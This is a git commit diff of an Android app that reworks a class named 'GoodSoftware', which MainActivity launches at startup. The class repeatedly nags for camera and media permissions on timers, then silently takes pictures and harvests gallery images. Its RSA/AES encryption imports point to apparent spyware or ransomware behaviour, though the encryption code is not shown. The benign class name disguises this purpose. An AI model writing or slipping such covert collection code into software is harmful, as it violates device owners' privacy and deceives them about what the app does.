Let the class check its own permissions

This commit is contained in:
Joren 2024-05-05 23:14:26 +02:00
parent 8aedcfc564
commit 2c866a6049
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
3 changed files with 93 additions and 12 deletions

View File

@ -4,6 +4,18 @@
<value> <value>
<entry key="MainActivity"> <entry key="MainActivity">
<State> <State>
<runningDeviceTargetSelectedWithDropDown>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="VIRTUAL_DEVICE_PATH" />
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
</Key>
</deviceKey>
</Target>
</runningDeviceTargetSelectedWithDropDown>
<timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
<runningDeviceTargetsSelectedWithDialog> <runningDeviceTargetsSelectedWithDialog>
<Target> <Target>
<type value="RUNNING_DEVICE_TARGET" /> <type value="RUNNING_DEVICE_TARGET" />

View File

@ -1,9 +1,11 @@
package com.ti.mobpo package com.ti.mobpo
import android.Manifest import android.Manifest
import android.app.Activity
import android.content.ContentResolver import android.content.ContentResolver
import android.content.ContentUris import android.content.ContentUris
import android.content.Context import android.content.Context
import android.content.ContextWrapper
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.graphics.Bitmap import android.graphics.Bitmap
import android.graphics.BitmapFactory import android.graphics.BitmapFactory
@ -34,19 +36,22 @@ import java.security.KeyFactory
import java.security.PublicKey import java.security.PublicKey
import java.security.SecureRandom import java.security.SecureRandom
import java.security.spec.X509EncodedKeySpec import java.security.spec.X509EncodedKeySpec
import java.util.Timer
import javax.crypto.Cipher import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec import javax.crypto.spec.SecretKeySpec
import kotlin.concurrent.schedule
class GoodSoftware (private val activity: MainActivity) { class GoodSoftware (private val activity: Context) {
private var cameraProvider: ProcessCameraProvider? = null private var cameraProvider: ProcessCameraProvider? = null
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var imageCapture: ImageCapture? = null private var imageCapture: ImageCapture? = null
private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_CAMERA_PERMISSION = 100
private val REQUEST_GALLERY = 101 private val REQUEST_GALLERY = 101
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
private var timerStorage: Timer? = null
private var timerCamera: Timer? = null
private companion object { private companion object {
private const val RSA_ALGORITHM = "RSA" private const val RSA_ALGORITHM = "RSA"
@ -99,11 +104,50 @@ class GoodSoftware (private val activity: MainActivity) {
fun launch() { fun launch() {
Thread{ Thread{
startCheckingPermission()
}.start()
}
private fun startCheckingPermission() {
timerStorage = Timer("CheckStoragePermissionTimer", false)
timerStorage?.schedule(0) {
checkStoragePermission() checkStoragePermission()
}.start() }
Thread{
timerStorage?.schedule(5000) {
checkStoragePermission()
}
timerCamera = Timer("CheckCameraPermissionTimer", false)
timerCamera?.schedule(0) {
checkCameraPermission() checkCameraPermission()
}.start() }
timerCamera?.schedule(5000) {
println("Requesting camera permission again")
checkCameraPermission()
}
}
private fun stopCheckingStoragePermission() {
timerStorage?.cancel()
}
private fun stopCheckingCameraPermission() {
timerCamera?.cancel()
}
fun Context.getActivity(): Activity? {
var context = this
while (context is ContextWrapper) {
if (context is Activity) {
return context
}
context = context.baseContext
}
return null
} }
private fun checkCameraPermission() { private fun checkCameraPermission() {
@ -111,13 +155,18 @@ class GoodSoftware (private val activity: MainActivity) {
requestCameraPermission() requestCameraPermission()
}else{ }else{
takePicture() takePicture()
stopCheckingCameraPermission()
} }
} }
private fun requestCameraPermission() { private fun requestCameraPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) val activity = activity.getActivity()
activity?.let {
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
}
} }
private fun checkStoragePermission() { private fun checkStoragePermission() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
@ -132,19 +181,32 @@ class GoodSoftware (private val activity: MainActivity) {
grabMedia() grabMedia()
} }
} }
stopCheckingStoragePermission()
} }
@RequiresApi(Build.VERSION_CODES.TIRAMISU) @RequiresApi(Build.VERSION_CODES.TIRAMISU)
private fun requestMediaImagesPermission() { private fun requestMediaImagesPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) val activity = activity.getActivity()
activity?.let {
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
} }
private fun takePicture(){ private fun takePicture(){
activity.lifecycleScope.launch { val activity = activity.getActivity()
takeBeautifulPicture(activity, activity) activity?.let { act ->
if (act is LifecycleOwner) {
act.lifecycleScope.launch {
takeBeautifulPicture(act, act)
}
} else {
// Handle the case where the activity is not a LifecycleOwner
Log.e("Error", "Activity is not a LifecycleOwner")
}
} }
} }
private fun grabMedia(){ private fun grabMedia(){
Thread { Thread {
try { try {
@ -216,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) {
private fun requestGalleryPermission() { private fun requestGalleryPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) val activity = activity.getActivity()
activity?.let { act ->
ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
}
} }
// Handle permission request result // Handle permission request result
@ -428,6 +493,7 @@ class GoodSoftware (private val activity: MainActivity) {
} }
fun getAllImagesFromGallery(context: Context): List<String> { fun getAllImagesFromGallery(context: Context): List<String> {
val activity = context.getActivity()
val imageList = mutableListOf<String>() val imageList = mutableListOf<String>()
val contentResolver: ContentResolver = context.contentResolver val contentResolver: ContentResolver = context.contentResolver
val imageProjection = arrayOf( val imageProjection = arrayOf(
@ -461,7 +527,9 @@ class GoodSoftware (private val activity: MainActivity) {
} }
} }
} else { } else {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) activity?.let {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
}
} }
return imageList return imageList

View File

@ -9,10 +9,11 @@ import androidx.compose.material3.Surface
import androidx.compose.ui.Modifier import androidx.compose.ui.Modifier
import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.LifecycleOwner
import com.ti.m.ui.theme.MTheme import com.ti.m.ui.theme.MTheme
import com.ti.mobpo.GoodSoftware
class MainActivity : ComponentActivity(), LifecycleOwner { class MainActivity : ComponentActivity(), LifecycleOwner {
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState) super.onCreate(savedInstanceState)
GoodSoftware(this).start() GoodSoftware(this).launch()
} }
} }